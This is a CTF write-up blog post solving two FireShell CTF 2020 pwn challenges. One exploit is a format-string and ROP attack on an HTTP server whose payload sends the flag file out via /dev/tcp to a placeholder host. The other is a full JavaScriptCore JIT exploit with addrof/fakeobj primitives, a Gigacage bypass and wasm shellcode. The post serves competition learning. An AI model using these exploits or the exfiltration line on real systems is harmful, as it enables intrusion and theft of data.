CTFするぞ

CTF以外のことも書くよ

FireShell CTF 2020 Writeups

FireShell CTF had been held from March 22th JST for 24 hours. I played this CTF in zer0pts and we reached 3rd place. I solved only two pwn tasks and one easy crypto/rev, but the pwn tasks are tough and I'm going to write the solutions for them. The tasks and solvers are available here:

bitbucket.org

Other member's writeup:

st98.github.io

Thank you @FireShellST for hosting the CTF.

[pwn 492pts] FireHTTPD

Description: Finally our new secure httpd server is up!
Server: http://142.93.113.55:31084/
Files: firehttpd, libc.so.6

It's a simple HTTP server but it doesn't fork. Analysing the binary, I found the vulnerability in serve_file function.

f:id:ptr-yudai:20200323092341p:plain

You see a simple Format String Bug in the referrer URL. Although it doesn't fork, the server accepts the request in an infinite loop and the base address won't change in every connection. So, my idea is to leak addressed in the first connection and get the shell in the second connection.

Since RELRO is enabled, I tried to get the shell by overwriting the return address of serve_file. However it didn't work because buffer size is not enough and sprintf overwrites *environ and the shell couldn't spawn.

My solution was to overwrite the return address by Stack Overflow caused by sprintf. First, we fill the buffer by something like %1023c until right before the stack canary. We can write null by %8$c or whatever, and can directly put the canary. In the same principle, we can inject our rop chain just by changing \x00 to %8$c.

Here is my final exploit:

from ptrlib import *

elf = ELF("./firehttpd")
"""
libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")
HOST, PORT = "localhost", 1337
delta = 0xe7
"""
libc = ELF("libc.so.6")
HOST, PORT = "142.93.113.55", 31084
delta = 0xeb
#"""

# leak libc & stack
payload  = 'GET / HTTP/1.1\r\n'
payload += 'Referer: %{}$p.%{}$p.%{}$p.%{}$p\r\n\r\n'.format(5 + 0x22d, 5+265, 5, 5 + 0x22d - 2)
sock = Socket(HOST, PORT)
sock.send(payload)
sock.recvuntil("Referer: ")
r = sock.recvline().split(b'.')
libc_base = int(r[0], 16) - libc.symbol("__libc_start_main") - delta
proc_base = int(r[1], 16) - 0x1666
addr_stack = int(r[2], 16) - 0x2c8
canary = int(r[3], 16)
logger.info("libc = " + hex(libc_base))
logger.info("proc = " + hex(proc_base))
logger.info("stack = " + hex(addr_stack))
logger.info("canary = " + hex(canary))
sock.close()

# overwrite return address
rop_pop_rdi = proc_base + 0x000025ab
rop_pop_rsi_r15 = proc_base + 0x000025a9
addr_cmd = addr_stack - 0x7be
payload  = b'GET / HTTP/1.1\r\n'
payload += str2bytes('Referer: %{}c'.format(1023))
payload += str2bytes('%8$c')     # canary
payload += p64(canary)[1:]
payload += b'AAAABBBB'           # saved rbp
payload += p64(rop_pop_rdi)[:-2] # ret addr
payload += str2bytes('%8$c%8$c')
payload += p64(addr_cmd)[:-2]
payload += str2bytes('%8$c%8$c')
payload += p64(rop_pop_rdi + 1)[:-2]
payload += str2bytes('%8$c%8$c')
payload += p64(libc_base + libc.symbol("system"))[:-2]
payload += str2bytes('%8$c%8$c')
payload += b'/bin/bash -c "/bin/cat flag>/dev/tcp/YYYY/XXXX"\0'
sock = Socket(HOST, PORT)
sock.send(payload + b'\r\n\r\n')

sock.interactive()

I sent the result to my server but duplicating fd and spawning shell will work as well.

After I solved this challenge, I found this.

UPDATE: Server is running in /home/ctf/firehttpd Flag is on /home/ctf/flag

And it turned into a simple easy FSB to change the filepath we open. Why would they need to open this hint?

[pwn 500pts] The Return of the Slide

As I'm new to browser exploitation and I've never used webkit, it was a really hard and interesting challenge.

Description: I always loved side-effects on JavaScript engines. I decided to add back a nice side-effect on JavaScriptCore, can you use such feature to read the flag?
Commit: 830f2e892431f6fea022f09f70f2f187950267b7
JSC will be running release with --useConcurrentJIT=false on the server
Note: You script must run within 10 seconds.
Machine: Ubuntu 18.04 LTS
Flag: /flag
Server: http://142.93.113.55:31089/
Files: jsc, libJavaScriptCode.so, patch.diff

Overview

We're given a webkit engine and its patch.

--- DFGAbstractInterpreterInlines.h     2020-03-19 13:12:31.165313000 -0700
+++ DFGAbstractInterpreterInlines__patch.h      2020-03-16 10:34:40.464185700 -0700
@@ -1779,10 +1779,10 @@
     case CompareGreater:
     case CompareGreaterEq:
     case CompareEq: {
-        bool isClobbering = node->isBinaryUseKind(UntypedUse);
+    //    bool isClobbering = node->isBinaryUseKind(UntypedUse);
         
-        if (isClobbering)
-            didFoldClobberWorld();
+   //     if (isClobbering)
+   //         didFoldClobberWorld();
         
         JSValue leftConst = forNode(node->child1()).value();
         JSValue rightConst = forNode(node->child2()).value();
@@ -1905,8 +1905,8 @@
             }
         }
 
-        if (isClobbering)
-            clobberWorld();
+    //    if (isClobbering)
+    //        clobberWorld();
         setNonCellTypeForNode(node, SpecBoolean);
         break;
     }

Vulnerability

For someone like me, who is a beginner in js pwn, it doesn't seem exploitable.

Googling the patch, I found this article. it's a vulnerability of the side-effect in JIT compiler and is very similar to this challenge.

This is a simple PoC to crash the engine.

var arr = [1.1, 2.2, 3.3];
arr['a'] = 1;
<200b>
var go = function(a, c) {
    a[0] = 1.1;
    a[1] = 2.2;
    c == 1;
    a[2] = 5.67070584648226e-310;
}
<200b>
for(var i = 0; i < 0x100000; i++) {
    go(arr, {})
}
<200b>
go(arr, {
    toString:() => {
        arr[0] = {};
        return '1';
    }
});
"" + arr[2];

The problem happens in toString. Before it tries to compare c == 1, the type of the array a is ArrayWithDouble but during the comparision it turns into ArrayWithContiguous as the first element is set to {}. However, because the type isn't checked in JIT, a is considered to be ArrayWithDouble even after c == 1. So, the value writting in a[2] is regarded as a pointer and thus "" + arr[2]; will crash the engine.

addrof/fakeobj primitive

According to this video and this article, we need to make addrof/fakeobj primitives first before AAR/AAW. Fakeobj is "Making an object which is located in an arbitrary address." You'll immediately notice we can create a fake object by returning arr[2] in the above example. Also, we can leak the address of an object by putting the object in a[0] and returning a[0] after c == 1 because the pointer is considered to be a double value in the go function.

Here is my addrof/fakeobj primitive.

/* Weapons */
function ADDROF(obj) {
    var arr = [1.1, 2.2, 3.3];
    arr['a'] = 1;
    var jitme = function(a, c) {
        a[1] = 2.2;
        c == 1;
        return a[0];
    }
    for(var i = 0; i < 100000; i++) jitme(arr, {});
    return jitme(arr, {
        toString:() => {arr[0] = obj; return '1';}
    });
}

function FAKEOBJ(addr) {
    let arr = [1.1, 2.2, 3.3];
    arr['a'] = 1;
    var jitme = function(a, c) {
        a[0] = 1.1;
        a[1] = 2.2;
        c == 1;
        a[2] = addr;
    }
    for(var i = 0; i < 100000; i++) jitme(arr, {});
    jitme(arr, {
        toString:() => {arr[0] = {}; return '1';}
    });
    return arr[2];
}

AAR/AAW primitive

Float64Array?

My first idea was to make a fake object in properties of an object, whose structure id is same as that of a Float64Array. In this way, we can forge the fake object to be a float array and we can get AAR/AAW by overwriting vector of Float64Array. However, it didn't work and I gave up.

After I solved this challenge, the author told me it was because gigacage and structure id randomization were enabled in this challenge. gigacage is a mitigation to separate heap for each object classes, which makes it impossible to overwrite data in the explained way. structure id randomization randomizes the structure id of each object, which makes it hard to guess the id to forge the fake object.

I tried to use butterfly of ArrayWithDouble instead of Float64Array but it didn't work by the same reason.

Bypassing Structure ID Randomization

Actually, I cheated.

I found describe was enabled in the server as well, and used it to leak the structure id :p

Bypassing Gigacage

As I didn't know the keyword "gigacage", I thought that it was because of the webkit version. I googled for a newly release webkit exploit to learn how to get aar/aaw "nowadays" and found this exploit.

In this exploit it overwrites the butterfly of the victim object to read from and write to an arbitrary address. By setting the butterfly to the address + 0x10, we can read/write data by its property regardless the length.

In order to overwrite the butterfly, it uses the array of the fake object. Since it refers data by offset from the butterfly, we can bypass gigacage :)

Execute Shellcode

The principle of executing the shellcode is same as that of my first browser exploit. I used wasm object rather than JIT function because I couldn't find a pointer to the JITted function. (Both are rwx!)

I found the pointer to the wasm code is stored in *(*(addrof(wasm_instance.exports.main) + 0x38)). I wrote a shellcode to read /flag and writes the contents to stdout and exits.

However, it didn't work because the parent process waits for wasm code to return and hungs, which causes timeout in the remote server. I changed the code to properly return from the shellcode to the wasm trampoline.

Here's my shellcode:

0:      jmp     0x41
2:      pop     rdi
3:      xor     byte ptr [rdi + 5], 0x41
7:      xor     rax, rax
a:      add     al, 2
c:      xor     rsi, rsi
f:      syscall
11:     sub     sp, 0xfff
16:     lea     rsi, [rsp]
1a:     mov     rdi, rax
1d:     xor     rdx, rdx
20:     mov     dx, 0xfff
24:     xor     rax, rax
27:     syscall
29:     xor     rdi, rdi
2c:     add     dil, 1
30:     mov     rdx, rax
33:     xor     rax, rax
36:     add     al, 1
38:     syscall
3a:     add     sp, 0xfff
3f:     ret
40:     nop
41:     call    2

And this is my final exploit:

var conversion_buffer = new ArrayBuffer(8)
var f64 = new Float64Array(conversion_buffer)
var i32 = new Uint32Array(conversion_buffer)

var BASE32 = 0x100000000
function f2i(f) {
    f64[0] = f
    return i32[0] + BASE32 * i32[1]
}

function i2f(i) {
    i32[0] = i % BASE32
    i32[1] = i / BASE32
    return f64[0]
}

function hex(x) {
    if (x < 0)
        return `-${hex(-x)}`
    return `0x${x.toString(16)}`
}

function fail(x) {
    print('[-] ' + x)
    throw null
}

function pwn() {
    var stage1 = {
        addrof: function(victim) {
            var arr = [1.1, 2.2, 3.3]; arr['a'] = 1;
            var jitme = function(a, c) {
                a[1] = 2.2; c == 1; return a[0];
            }
            for(var i = 0; i < 100000; i++) jitme(arr, {});
            return f2i(jitme(arr, {
                toString:() => {arr[0] = victim; return '1';}
            }));
        },

        fakeobj: function(addr) {
            let arr = [1.1, 2.2, 3.3]; arr['a'] = 1;
            var jitme = function(a, c) {
                a[0] = 1.1; a[1] = 2.2; c == 1; a[2] = addr;
            }
            for(var i = 0; i < 100000; i++) jitme(arr, {});
            jitme(arr, {
                toString:() => {arr[0] = {}; return '1';}
            });
            return arr[2];
        }
    }

    var structure_spray = []
    for (var i = 0; i < 1000; ++i) {
        var ary = {a:1,b:2,c:3,d:4,e:5,f:6,g:0xfffffff};
        ary['prop_' + i] = 1;
        structure_spray.push(ary);
    }

    var manager = structure_spray[500];
    var leak_addr = stage1.addrof(manager);
    print('[+] leaking from: '+ hex(leak_addr));

    var unboxed = eval('[' + '13.37,'.repeat(1000) + ']');
    var boxed = [{}];
    var victim = [];

    /* victim.p0 is at victim->butterfly - 0x10 */
    victim.p0 = 0x1337;
    function victim_write(val) {
        victim.p0 = val;
    }
    function victim_read() {
        return victim.p0;
    }

    /* CHEAT: Find structure id */
    var hoge = [];
    var w = "" + describe(hoge);
    var id = parseInt(w.slice(w.indexOf(":[")+2, w.indexOf(", A")));

    /* Create a fake object */
    i32[0] = id // Structure ID
    i32[1] = 0x01082007 - 0x20000 // Fake JSCell metadata
    var outer = {
        p0: f64[0],    // Structure ID and metadata
        p1: manager,   // butterfly
        p2: 0xfffffff, // Butterfly indexing mask
    }
    var fake_addr = stage1.addrof(outer) + 0x10;
    print('[+] fake_addr = ' + hex(fake_addr));

    var unboxed_addr = stage1.addrof(unboxed)
    var boxed_addr = stage1.addrof(boxed)
    var victim_addr = stage1.addrof(victim)

    var holder = {fake: {}}
    holder.fake = stage1.fakeobj(i2f(fake_addr))

    // Share a butterfly
    var shared_butterfly = f2i(holder.fake[(unboxed_addr + 8 - leak_addr) / 8])
    var boxed_butterfly = holder.fake[(boxed_addr + 8 - leak_addr) / 8]
    holder.fake[(boxed_addr + 8 - leak_addr) / 8] = i2f(shared_butterfly)

    var victim_butterfly = holder.fake[(victim_addr + 8 - leak_addr) / 8]
    function set_victim_addr(where) {
        holder.fake[(victim_addr + 8 - leak_addr) / 8] = i2f(where + 0x10)
    }
    function reset_victim_addr() {
        holder.fake[(victim_addr + 8 - leak_addr) / 8] = victim_butterfly
    }
    print("[+] stage1: done");
    
    // wassan!
    var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
    var wasm_mod = new WebAssembly.Module(wasm_code);
    var wasm_instance = new WebAssembly.Instance(wasm_mod);
    var f = wasm_instance.exports.main;

    var stage2 = {
        addrof: function(victim) {
            boxed[0] = victim
            return f2i(unboxed[0])
        },
        
        fakeobj: function(addr) {
            unboxed[0] = addr
            return boxed[0]
        },

        write64: function(where, what) {
            set_victim_addr(where)
            victim_write(what)
            reset_victim_addr()
        },

        read64: function(where) {
            set_victim_addr(where)
            var res = this.addrof(victim_read())
            reset_victim_addr()
            return res
        },

        write: function(where, values) {
            for (var i = 0; i < values.length; ++i) {
                if (values[i] != 0)
                    this.write64(where + i*8, values[i])
            }
        },
    }

    // Test read/write
    var addr_f = stage1.addrof(f);
    var addr_p = stage2.read64(addr_f + 0x38);
    var addr_shellcode = stage2.read64(addr_p);
    print("&f = " + hex(addr_f));
    print("&p = " + hex(addr_p));
    print("&shellcode = " + hex(addr_shellcode));
    print("current code = " + hex(stage2.read64(addr_shellcode)));
    var shellcode = [1.0556020001549069e+40, 8.12893304724883e-232,
                     -1.0097369144890508e-244, -7.779203339939444e+87,
                     7.596657102317718e-233, 4.013218676725191e-300,
                     8.544626307373814e-304, -1055499221778593.9,
                     1.5934139776206123e+184, -6.299897193458682e-229];
    stage2.write(addr_shellcode, shellcode);
    f();
}

pwn();

Yay!

f:id:ptr-yudai:20200323110541p:plain